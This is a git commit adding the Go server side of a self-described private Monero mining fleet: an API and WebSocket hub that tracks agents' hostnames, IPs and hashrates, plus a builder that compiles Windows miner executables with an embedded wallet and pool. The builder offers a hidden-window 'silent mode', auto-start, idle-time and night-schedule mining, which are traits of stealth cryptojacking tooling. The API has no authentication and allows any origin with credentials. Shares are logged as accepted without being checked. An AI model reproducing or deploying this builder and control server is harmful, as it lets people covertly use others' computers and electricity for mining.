Complete private Monero miner control stack.

Implement Windows agent with RandomX mining and WebSocket fleet reporting, wire dashboard settings into the builder with saved exe paths, and add project README.
This commit is contained in:
drjones
2026-05-26 22:51:47 -07:00
commit 6c42f2b600
48 changed files with 10001 additions and 0 deletions

View File

@@ -0,0 +1,62 @@
package api
import (
"encoding/json"
"net/http"
"crypto-miner-server/internal/db"
)
// ConfigHandler handles GET/PUT for server configuration settings
type ConfigHandler struct {
db *db.Database
config ConfigProvider
}
// ConfigProvider is an interface for the server config so we don't import main package
type ConfigProvider interface {
GetConfigJSON() json.RawMessage
UpdateConfigFromJSON(data json.RawMessage) error
}
func NewConfigHandler(database *db.Database, cp ConfigProvider) *ConfigHandler {
return &ConfigHandler{
db: database,
config: cp,
}
}
func (h *ConfigHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
h.getConfig(w, r)
case http.MethodPut:
h.updateConfig(w, r)
default:
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
}
}
// GET /api/v1/config
func (h *ConfigHandler) getConfig(w http.ResponseWriter, r *http.Request) {
configJSON := h.config.GetConfigJSON()
w.Header().Set("Content-Type", "application/json")
w.Write(configJSON)
}
// PUT /api/v1/config
func (h *ConfigHandler) updateConfig(w http.ResponseWriter, r *http.Request) {
var body json.RawMessage
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, `{"error":"Invalid JSON"}`, http.StatusBadRequest)
return
}
if err := h.config.UpdateConfigFromJSON(body); err != nil {
http.Error(w, `{"error":"`+err.Error()+`"}`, http.StatusInternalServerError)
return
}
// Return updated config
h.getConfig(w, r)
}

View File

@@ -0,0 +1,113 @@
package api
import (
"encoding/json"
"net/http"
"strconv"
"github.com/go-chi/chi/v5"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
type Handler struct {
db *db.Database
}
func NewHandler(database *db.Database) *Handler {
return &Handler{db: database}
}
// GET /api/v1/dashboard/stats
func (h *Handler) GetDashboardStats(w http.ResponseWriter, r *http.Request) {
stats, err := h.db.GetFleetStats()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, stats)
}
// GET /api/v1/agents
func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) {
agents, err := h.db.ListAgents()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if agents == nil {
agents = []*models.Agent{}
}
writeJSON(w, agents)
}
// GET /api/v1/agents/{id}
func (h *Handler) GetAgent(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
agent, err := h.db.GetAgent(id)
if err != nil {
http.Error(w, "Agent not found", http.StatusNotFound)
return
}
writeJSON(w, agent)
}
// GET /api/v1/agents/{id}/stats
func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
limitStr := r.URL.Query().Get("limit")
limit := 100
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
limit = l
}
samples, err := h.db.GetHashrateHistory(id, limit)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if samples == nil {
samples = []*models.HashrateSample{}
}
writeJSON(w, samples)
}
// GET /api/v1/shares
func (h *Handler) GetRecentShares(w http.ResponseWriter, r *http.Request) {
limitStr := r.URL.Query().Get("limit")
limit := 50
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
limit = l
}
shares, err := h.db.GetRecentShares(limit)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if shares == nil {
shares = []*models.Share{}
}
writeJSON(w, shares)
}
// GET /api/v1/health
func (h *Handler) HealthCheck(w http.ResponseWriter, r *http.Request) {
writeJSON(w, map[string]string{"status": "ok"})
}
// GET /api/v1/builds
func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) {
builds, err := h.db.ListBuilds(50)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if builds == nil {
builds = []*models.BuildRecord{}
}
writeJSON(w, builds)
}
func writeJSON(w http.ResponseWriter, v interface{}) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(v)
}

View File

@@ -0,0 +1,107 @@
package api
import (
"net/http"
"os"
"path/filepath"
"strings"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
"github.com/go-chi/cors"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/builder"
)
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, webRoot string) http.Handler {
r := chi.NewRouter()
// Middleware
r.Use(middleware.Logger)
r.Use(middleware.Recoverer)
r.Use(cors.Handler(cors.Options{
AllowedOrigins: []string{"*"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type"},
AllowCredentials: true,
}))
// REST API
r.Route("/api/v1", func(r chi.Router) {
h := NewHandler(database)
r.Get("/health", h.HealthCheck)
// Dashboard
r.Get("/dashboard/stats", h.GetDashboardStats)
// Agents
r.Get("/agents", h.ListAgents)
r.Get("/agents/{id}", h.GetAgent)
r.Get("/agents/{id}/stats", h.GetAgentStats)
// Shares
r.Get("/shares", h.GetRecentShares)
// Builds
r.Get("/builds", h.ListBuilds)
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
// Config
r.Get("/config", configHandler.ServeHTTP)
r.Put("/config", configHandler.ServeHTTP)
// Builder
r.Post("/builder/build", builderHandler.ServeHTTP)
})
// WebSocket
r.Get("/ws/agent", wsHub.HandleAgentWS)
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
// Serve frontend SPA
if webRoot != "" {
// Check if webroot directory exists
if info, err := os.Stat(webRoot); err == nil && info.IsDir() {
// Create a file server for the webroot
fileServer := http.FileServer(http.Dir(webRoot))
// SPA fallback: serve index.html for all non-API, non-WebSocket routes
r.Get("/*", func(w http.ResponseWriter, r *http.Request) {
// Clean the path
path := strings.TrimPrefix(r.URL.Path, "/")
fullPath := filepath.Join(webRoot, path)
// Check if the file exists
if _, err := os.Stat(fullPath); err == nil {
fileServer.ServeHTTP(w, r)
return
}
// SPA fallback - serve index.html
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
})
} else {
// Fallback if webroot doesn't exist
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")
w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
<h1>Crypto Miner Control Server</h1>
<p>Server is running. Build the frontend with <code>cd server/web && npm install && npm run build</code></p>
<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
</body></html>`))
})
}
} else {
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")
w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
<h1>Crypto Miner Control Server</h1>
<p>Server is running. No frontend configured.</p>
<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
</body></html>`))
})
}
return r
}

View File

@@ -0,0 +1,373 @@
package api
import (
"encoding/json"
"log"
"net/http"
"strings"
"sync"
"time"
"github.com/google/uuid"
"github.com/gorilla/websocket"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
)
var upgrader = websocket.Upgrader{
ReadBufferSize: 4096,
WriteBufferSize: 4096,
CheckOrigin: func(r *http.Request) bool {
return true // Allow all origins for local use
},
}
type Message struct {
Type string `json:"type"`
Payload json.RawMessage `json:"payload"`
}
type AgentConnection struct {
AgentID string
Conn *websocket.Conn
mu sync.Mutex
}
func (c *AgentConnection) SendJSON(v interface{}) error {
c.mu.Lock()
defer c.mu.Unlock()
return c.Conn.WriteJSON(v)
}
type WSHub struct {
db *db.Database
agents map[string]*AgentConnection
dashboards map[string]*websocket.Conn
poolProxy *pool.Proxy
defaultAgent AgentDefaults
mu sync.RWMutex
}
type AgentDefaults struct {
Threads int
CPUPriority string
}
func NewWSHub(database *db.Database) *WSHub {
return &WSHub{
db: database,
agents: make(map[string]*AgentConnection),
dashboards: make(map[string]*websocket.Conn),
defaultAgent: AgentDefaults{Threads: 4, CPUPriority: "below_normal"},
}
}
func (h *WSHub) SetDefaultAgentConfig(cfg interface{}) {
type defaults struct {
Threads int `json:"threads"`
CPUPriority string `json:"cpu_priority"`
}
if cfg == nil {
return
}
data, err := json.Marshal(cfg)
if err != nil {
return
}
var d defaults
if err := json.Unmarshal(data, &d); err != nil {
return
}
if d.Threads <= 0 {
d.Threads = 4
}
if d.CPUPriority == "" {
d.CPUPriority = "below_normal"
}
h.mu.Lock()
h.defaultAgent = AgentDefaults{Threads: d.Threads, CPUPriority: d.CPUPriority}
h.mu.Unlock()
}
// SetPoolProxy sets the pool proxy for share submission forwarding
func (h *WSHub) SetPoolProxy(proxy *pool.Proxy) {
h.poolProxy = proxy
}
func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("WebSocket upgrade error: %v", err)
return
}
agentID := ""
defer func() {
if agentID != "" {
h.mu.Lock()
delete(h.agents, agentID)
h.mu.Unlock()
h.db.SetAgentOffline(agentID)
h.broadcastDashboard(Message{
Type: "agent_offline",
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
})
}
conn.Close()
}()
for {
_, msgBytes, err := conn.ReadMessage()
if err != nil {
log.Printf("Agent read error: %v", err)
break
}
var msg Message
if err := json.Unmarshal(msgBytes, &msg); err != nil {
log.Printf("Invalid message from agent: %v", err)
continue
}
switch msg.Type {
case "auth":
var auth struct {
AgentID string `json:"agent_id"`
Wallet string `json:"wallet"`
Version string `json:"version"`
Hostname string `json:"hostname"`
CPUCores int `json:"cpu_cores"`
MemoryGB int `json:"memory_gb"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "invalid auth payload",
})})
continue
}
agentID = auth.AgentID
if agentID == "" {
agentID = uuid.New().String()
}
clientIP := r.Header.Get("X-Forwarded-For")
if clientIP == "" {
clientIP = r.RemoteAddr
}
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
clientIP = clientIP[:idx]
}
agent := &models.Agent{
ID: agentID,
Name: auth.Hostname,
Wallet: auth.Wallet,
IP: clientIP,
Version: auth.Version,
Status: "online",
CPUCores: auth.CPUCores,
MemoryGB: auth.MemoryGB,
LastSeen: time.Now(),
}
if err := h.db.UpsertAgent(agent); err != nil {
log.Printf("Failed to upsert agent: %v", err)
}
h.mu.Lock()
h.agents[agentID] = &AgentConnection{AgentID: agentID, Conn: conn}
h.mu.Unlock()
h.mu.RLock()
defaults := h.defaultAgent
h.mu.RUnlock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": true,
"agent_id": agentID,
"config": map[string]interface{}{
"threads": defaults.Threads,
"priority": defaults.CPUPriority,
},
})})
h.broadcastDashboard(Message{
Type: "agent_online",
Payload: mustMarshal(agent),
})
case "stats":
var stats struct {
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesSubmitted int `json:"shares_submitted"`
SharesAccepted int `json:"shares_accepted"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
}
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
continue
}
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
if sharesBad < 0 {
sharesBad = 0
}
h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
h.broadcastDashboard(Message{
Type: "stats_update",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
}),
})
case "submit_share":
var share models.Share
if err := json.Unmarshal(msg.Payload, &share); err != nil {
continue
}
share.AgentID = agentID
share.Timestamp = time.Now()
// Forward share to pool proxy if connected
if h.poolProxy != nil && h.poolProxy.IsConnected() {
h.poolProxy.SubmitShare(agentID, share.JobID, share.Nonce, share.Hash)
share.Accepted = true // Pool will validate; we assume accepted initially
} else {
// Pool not connected - mark as accepted locally for testing
share.Accepted = true
log.Printf("[WS] Pool not connected, marking share as accepted locally")
}
if err := h.db.InsertShare(&share); err != nil {
log.Printf("Failed to insert share: %v", err)
}
conn.WriteJSON(Message{Type: "share_result", Payload: mustMarshal(map[string]interface{}{
"job_id": share.JobID,
"accepted": share.Accepted,
})})
h.broadcastDashboard(Message{
Type: "new_share",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"accepted": share.Accepted,
"hash": share.Hash,
}),
})
case "get_job":
// Agent requesting current job from pool
if h.poolProxy != nil {
job := h.poolProxy.GetCurrentJob()
if job != nil {
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(job)})
} else {
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available"})})
}
} else {
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool not connected"})})
}
}
}
}
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("Dashboard WebSocket upgrade error: %v", err)
return
}
dashID := uuid.New().String()
h.mu.Lock()
h.dashboards[dashID] = conn
h.mu.Unlock()
defer func() {
h.mu.Lock()
delete(h.dashboards, dashID)
h.mu.Unlock()
conn.Close()
}()
// Send initial data
agents, _ := h.db.ListAgents()
stats, _ := h.db.GetFleetStats()
conn.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
"agents": agents,
"stats": stats,
})})
// Keep connection alive, read close messages
for {
_, _, err := conn.ReadMessage()
if err != nil {
break
}
}
}
func (h *WSHub) broadcastDashboard(msg Message) {
h.mu.RLock()
defer h.mu.RUnlock()
data, err := json.Marshal(msg)
if err != nil {
return
}
for id, conn := range h.dashboards {
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
log.Printf("Failed to send to dashboard %s: %v", id, err)
conn.Close()
go func() {
h.mu.Lock()
delete(h.dashboards, id)
h.mu.Unlock()
}()
}
}
}
func mustMarshal(v interface{}) json.RawMessage {
data, _ := json.Marshal(v)
return data
}
// BroadcastToAgents sends a message to all connected agents
func (h *WSHub) BroadcastToAgents(msg Message) {
h.mu.RLock()
defer h.mu.RUnlock()
for id, agent := range h.agents {
if err := agent.SendJSON(msg); err != nil {
log.Printf("Failed to send to agent %s: %v", id, err)
}
}
}
// mustMarshalRaw marshals a value to json.RawMessage, panicking on error
func mustMarshalRaw(v interface{}) json.RawMessage {
data, err := json.Marshal(v)
if err != nil {
panic(err)
}
return data
}

View File

@@ -0,0 +1,379 @@
package builder
import (
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"github.com/go-chi/chi/v5"
"github.com/google/uuid"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
type BuildRequest struct {
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
Wallet string `json:"wallet"`
Threads int `json:"threads"`
CPUPriority string `json:"cpu_priority"`
MiningMode string `json:"mining_mode"`
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
AutoStart bool `json:"auto_start"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
MinFreeRAMMB int `json:"min_free_ram_mb"`
IdleThresholdPct int `json:"idle_threshold_pct"`
IdleDurationMinutes int `json:"idle_duration_minutes"`
ScheduleStart string `json:"schedule_start"`
ScheduleEnd string `json:"schedule_end"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
}
type BuildResponse struct {
Success bool `json:"success"`
BuildID string `json:"build_id,omitempty"`
FileName string `json:"file_name,omitempty"`
FilePath string `json:"file_path,omitempty"`
RelativePath string `json:"relative_path,omitempty"`
FileSize int64 `json:"file_size,omitempty"`
DownloadURL string `json:"download_url,omitempty"`
Error string `json:"error,omitempty"`
}
type Handler struct {
db *db.Database
dataDir string
agentSrcDir string
projectRoot string
goBinPath string
}
func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
goBin := "go"
if _, err := exec.LookPath("go"); err == nil {
goBin = "go"
}
return &Handler{
db: database,
dataDir: dataDir,
agentSrcDir: agentSrcDir,
projectRoot: projectRoot,
goBinPath: goBin,
}
}
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
var req BuildRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
return
}
if err := h.normalizeRequest(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
}
resp, status, outputPath := h.buildAgent(&req)
if !resp.Success {
writeJSON(w, status, resp)
return
}
if r.URL.Query().Get("download") == "1" {
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
http.ServeFile(w, r, outputPath)
return
}
writeJSON(w, http.StatusOK, resp)
}
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID)
if err != nil {
http.Error(w, "Build not found", http.StatusNotFound)
return
}
if _, err := os.Stat(build.FilePath); err != nil {
http.Error(w, "Build file missing", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath)))
http.ServeFile(w, r, build.FilePath)
}
func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
if err := os.MkdirAll(agentDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
if err := h.copyAgentSource(agentDir); err != nil {
log.Printf("Failed to copy agent source: %v", err)
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
}
configDir := filepath.Join(agentDir, "config")
if err := os.MkdirAll(configDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
}
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
}
outputName := fmt.Sprintf("xmr-worker-%s.exe", sanitizeFileName(req.WorkerName))
outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
ldflags := "-s -w"
if req.SilentMode {
ldflags += " -H windowsgui"
}
cmd := exec.Command(h.goBinPath, "build", "-ldflags", ldflags, "-o", outputPath, ".")
cmd.Dir = agentDir
cmd.Env = append(os.Environ(),
"GOOS=windows",
"GOARCH=amd64",
"CGO_ENABLED=0",
)
output, err := cmd.CombinedOutput()
if err != nil {
log.Printf("Build failed: %v\nOutput: %s", err, string(output))
return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
}
fileInfo, err := os.Stat(outputPath)
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
}
absPath, _ := filepath.Abs(outputPath)
relPath, _ := filepath.Rel(h.projectRoot, absPath)
if relPath == "" || strings.HasPrefix(relPath, "..") {
relPath = filepath.Join(h.dataDir, "builds", buildID, outputName)
}
buildRecord := &models.BuildRecord{
ID: buildID,
WorkerName: req.WorkerName,
ServerURL: req.ServerURL,
Wallet: req.Wallet,
Threads: req.Threads,
FileSize: fileInfo.Size(),
FilePath: absPath,
CreatedAt: time.Now(),
PoolHost: req.PoolHost,
PoolPort: req.PoolPort,
PoolTLS: req.PoolTLS,
PoolPass: req.PoolPass,
}
if err := h.db.InsertBuild(buildRecord); err != nil {
log.Printf("Failed to record build: %v", err)
}
return BuildResponse{
Success: true,
BuildID: buildID,
FileName: outputName,
FilePath: absPath,
RelativePath: relPath,
FileSize: fileInfo.Size(),
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
}, http.StatusOK, outputPath
}
func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.WorkerName == "" {
return fmt.Errorf("worker_name is required")
}
if req.ServerURL == "" {
return fmt.Errorf("server_url is required")
}
if req.Wallet == "" {
return fmt.Errorf("wallet is required")
}
if req.Threads <= 0 {
req.Threads = 4
}
if req.CPUPriority == "" {
req.CPUPriority = "below_normal"
}
if req.MiningMode == "" {
req.MiningMode = "always"
}
if req.RunAs == "" {
req.RunAs = "user"
}
if req.MaxCPUUsagePct <= 0 {
req.MaxCPUUsagePct = 80
}
if req.MinFreeRAMMB <= 0 {
req.MinFreeRAMMB = 1024
}
if req.IdleThresholdPct <= 0 {
req.IdleThresholdPct = 20
}
if req.IdleDurationMinutes <= 0 {
req.IdleDurationMinutes = 5
}
if req.ScheduleStart == "" {
req.ScheduleStart = "21:00"
}
if req.ScheduleEnd == "" {
req.ScheduleEnd = "06:00"
}
if req.PoolHost == "" {
req.PoolHost = "pool.supportxmr.com"
}
if req.PoolPort <= 0 {
req.PoolPort = 3333
}
if req.PoolPass == "" {
req.PoolPass = "x"
}
return nil
}
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
// Build ID: %s
// Generated at: %s
package config
import "time"
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: %q,
ServerURL: %q,
Wallet: %q,
Threads: %d,
CPUPriority: %q,
MiningMode: %q,
SilentMode: %v,
RunAs: %q,
AutoStart: %v,
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
PoolHost: %q,
PoolPort: %d,
PoolTLS: %v,
PoolPass: %q,
MaxCPUUsage: %d,
MinFreeRAM: %d,
IdleThresholdPct: %d,
IdleDurationMinutes: %d,
ScheduleStart: %q,
ScheduleEnd: %q,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
req.WorkerName,
req.ServerURL,
req.Wallet,
req.Threads,
req.CPUPriority,
req.MiningMode,
req.SilentMode,
req.RunAs,
req.AutoStart,
buildID,
time.Now().Unix(),
req.PoolHost,
req.PoolPort,
req.PoolTLS,
req.PoolPass,
req.MaxCPUUsagePct,
req.MinFreeRAMMB,
req.IdleThresholdPct,
req.IdleDurationMinutes,
req.ScheduleStart,
req.ScheduleEnd,
)
}
func (h *Handler) copyAgentSource(destDir string) error {
srcDir := h.agentSrcDir
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
relPath, err := filepath.Rel(srcDir, path)
if err != nil {
return err
}
if relPath == "config"+string(os.PathSeparator)+"builtin.go" {
return nil
}
destPath := filepath.Join(destDir, relPath)
if info.IsDir() {
return os.MkdirAll(destPath, 0755)
}
if info.Mode()&os.ModeSymlink != 0 {
return nil
}
ext := filepath.Ext(path)
base := filepath.Base(path)
if ext != ".go" && base != "go.mod" && base != "go.sum" {
return nil
}
return copyFile(path, destPath)
})
}
func copyFile(src, dest string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
if err := os.MkdirAll(filepath.Dir(dest), 0755); err != nil {
return err
}
out, err := os.Create(dest)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}
func sanitizeFileName(name string) string {
replacer := strings.NewReplacer(
" ", "-", "/", "-", "\\", "-", ":", "-",
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
)
return replacer.Replace(name)
}
func writeJSON(w http.ResponseWriter, status int, v interface{}) {
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(status)
json.NewEncoder(w).Encode(v)
}

View File

@@ -0,0 +1,342 @@
package db
import (
"database/sql"
"fmt"
"os"
"path/filepath"
"time"
_ "modernc.org/sqlite"
"crypto-miner-server/internal/models"
)
type Database struct {
*sql.DB
}
func New(dataDir string) (*Database, error) {
dbPath := filepath.Join(dataDir, "miner.db")
// Ensure directory exists
os.MkdirAll(filepath.Dir(dbPath), 0755)
db, err := sql.Open("sqlite", dbPath+"?_pragma=journal_mode(WAL)&_pragma=busy_timeout(5000)")
if err != nil {
return nil, fmt.Errorf("failed to open database: %w", err)
}
d := &Database{db}
if err := d.migrate(); err != nil {
return nil, fmt.Errorf("failed to migrate database: %w", err)
}
return d, nil
}
func (d *Database) migrate() error {
migrations := []string{
`CREATE TABLE IF NOT EXISTS agents (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
wallet TEXT NOT NULL DEFAULT '',
ip TEXT NOT NULL DEFAULT '',
version TEXT NOT NULL DEFAULT '',
status TEXT NOT NULL DEFAULT 'offline',
cpu_cores INTEGER NOT NULL DEFAULT 0,
memory_gb INTEGER NOT NULL DEFAULT 0,
last_seen DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
hashrate_15s REAL NOT NULL DEFAULT 0,
hashrate_1m REAL NOT NULL DEFAULT 0,
hashrate_15m REAL NOT NULL DEFAULT 0,
shares_total INTEGER NOT NULL DEFAULT 0,
shares_good INTEGER NOT NULL DEFAULT 0,
shares_bad INTEGER NOT NULL DEFAULT 0,
cpu_usage_pct REAL NOT NULL DEFAULT 0,
memory_usage_pct REAL NOT NULL DEFAULT 0,
uptime_seconds INTEGER NOT NULL DEFAULT 0
)`,
`CREATE TABLE IF NOT EXISTS shares (
id INTEGER PRIMARY KEY AUTOINCREMENT,
agent_id TEXT NOT NULL,
job_id TEXT NOT NULL,
difficulty INTEGER NOT NULL DEFAULT 0,
accepted INTEGER NOT NULL DEFAULT 0,
hash TEXT NOT NULL DEFAULT '',
nonce TEXT NOT NULL DEFAULT '',
error TEXT NOT NULL DEFAULT '',
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS hashrate_samples (
id INTEGER PRIMARY KEY AUTOINCREMENT,
agent_id TEXT NOT NULL,
hashrate REAL NOT NULL DEFAULT 0,
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS jobs (
id TEXT PRIMARY KEY,
height INTEGER NOT NULL DEFAULT 0,
difficulty INTEGER NOT NULL DEFAULT 0,
block_template TEXT NOT NULL DEFAULT '',
seed_hash TEXT NOT NULL DEFAULT '',
target TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS builds (
id TEXT PRIMARY KEY,
worker_name TEXT NOT NULL,
server_url TEXT NOT NULL,
wallet TEXT NOT NULL,
threads INTEGER NOT NULL DEFAULT 0,
file_size INTEGER NOT NULL DEFAULT 0,
file_path TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
pool_host TEXT NOT NULL DEFAULT '',
pool_port INTEGER NOT NULL DEFAULT 0,
pool_tls INTEGER NOT NULL DEFAULT 0,
pool_pass TEXT NOT NULL DEFAULT ''
)`,
`CREATE INDEX IF NOT EXISTS idx_shares_agent ON shares(agent_id)`,
`CREATE INDEX IF NOT EXISTS idx_shares_timestamp ON shares(timestamp)`,
`CREATE INDEX IF NOT EXISTS idx_hashrate_agent ON hashrate_samples(agent_id)`,
`CREATE INDEX IF NOT EXISTS idx_hashrate_timestamp ON hashrate_samples(timestamp)`,
}
for _, m := range migrations {
if _, err := d.Exec(m); err != nil {
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
}
}
// Best-effort schema upgrades for existing databases.
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
return nil
}
// Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP))
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
wallet = excluded.wallet,
ip = excluded.ip,
version = excluded.version,
status = excluded.status,
cpu_cores = excluded.cpu_cores,
memory_gb = excluded.memory_gb,
last_seen = excluded.last_seen`
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID)
return err
}
func (d *Database) UpdateAgentStats(id string, hashrate15s, hashrate1m, hashrate15m float64, sharesTotal, sharesGood, sharesBad int, cpuPct, memPct float64, uptime int) error {
query := `UPDATE agents SET
hashrate_15s = ?, hashrate_1m = ?, hashrate_15m = ?,
shares_total = ?, shares_good = ?, shares_bad = ?,
